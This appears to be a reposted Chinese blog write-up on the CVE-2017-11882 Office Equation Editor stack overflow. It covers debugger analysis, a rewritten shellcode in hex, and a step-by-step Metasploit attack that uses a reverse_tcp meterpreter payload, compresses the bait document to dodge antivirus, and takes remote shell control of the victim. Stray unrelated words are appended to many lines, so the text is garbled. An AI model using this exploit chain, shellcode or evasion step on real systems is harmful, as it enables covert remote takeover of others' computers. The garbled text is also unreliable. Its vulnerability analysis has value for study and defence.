操做系統:Windows7 32/64位 專業版、Linuxpython
軟件:office 2003 sp3git
工具:OD、IDA、Python模塊、msfconsolegithub
https://github.com/embedi/CVE-2017-11882 下載便可shell
打開例程,發現文檔打開了計算器,應該是ShellCode。windows
打開Microsoft Word 2003,快捷鍵Alt+i+o(插入、對象)打開Microsoft 公式 3.0,使用OD附加(附加後,線程,所有恢復,運行)快捷鍵 Alt+f+a,打開poc例程。(OD全部關於異常的選項去掉,插件-StrongOD-Options-Skip Some Exceptions去掉,否則沒法斷下)。session
經過棧向上查找最近的函數地址tcp
下斷點從新附加函數
從新加載再次進行附加工具
再次進行附加發現程序在運行到WinExec時已經破壞了棧,對棧進行向上回述spa
在此函數處下斷點,再次進行附加程序運行觀察棧已經破壞則在反彙編窗口在此函數的頭部下斷點,從新附加觀察
此時棧是完整的,能夠判定棧的破壞點在此時程序流程點的後面進行單步跟蹤(F8)觀察棧的變化找出溢出點。
經過Alt+e查找溢出模塊,載入IDA進行靜態分析
經過溢出點在IDA快捷鍵 g地址跳轉F5轉C代碼查看分析
分析poc的ShellCode:
在OD中查看ShellCode信息
經過010editor進行分析:
關於ShellCode的改寫:
在OD中的Ctrl+e進行二進制編寫,注意ShellCode大小,0x30預留4字節的返回地址。
機器碼:
636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F62616964752E636F6D266F6D73120C4300
相關poc獲取:https://github.com/embedi/CVE-2017-11882
準備工做:
1. 在Linux虛擬機上運行 msfconsole
2. 使用apt update;
apt intsall metasploit-framework
3. 將cve-2017-11882.rb(漏洞模塊,負責與樣本通訊)
在終端輸入cp指令:
絕對路徑拷貝:
相對路徑拷貝:cd到文件所在目錄
cp CVE-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat
拷貝到相關文件夾
4. 將python腳本 CVE-2017-11882.py拷貝到桌面
開始攻擊:
使用Kali Metasploit準備後門,監聽程序
1. 進入metasploit-framework
命令:msfconsole 啓動命令
2. Search cve-2017-11882
3. 使用模塊:use exploit/windows/fileformat/cve-2017-11882
4. 設置漏洞利用信息,包括payloar類型,IP(Linux使用ifconfig查看IP,Win使用ipconfig查看IP)
set payload windows/meterpteter/reverse_tcp
show options(顯示必要設置的選項,查看有無漏項)
5. 開始攻擊
exploit
6. 使用CVE-2017-11882.py腳本生成樣本
7. 壓縮文件否則可能會被查殺
拷貝到win7 64位 專業版 使用office3 sp3打開
8. 等待肉機連接
在win7打開文件顯示的內容
9. 連接以後使用sessions查看連接信息
10. 使用sessions 1 進入sessions,開始後門操做
鏈接成功
11. 命令:shell進入shell
出現亂碼,使用 chcp 65001 便可
此時便可使用windows shell命令控制肉機
退出shell
截屏要退出來才能夠截屏
截屏圖片
一些其餘命令
show sessions:顯示會話
sessions x:進入會話
background:會話返回
back:退出模塊
在msf下 exit:退出
1. 此漏洞是使用系統的WinExec函數開啓線程的
2. 漏洞的產生是由於內存拷貝時空間大小設計時沒有考慮到位產生的棧溢出淹沒了原返回地址
3. 由於程序間隔較近,此漏洞的shellcode空間只用0x30大小但對於使用系統WinExec建立線程來說已經夠用
4. 此漏洞是2000年就存在的陳年漏洞但危害很大,甚至能夠用來遠程控制電腦。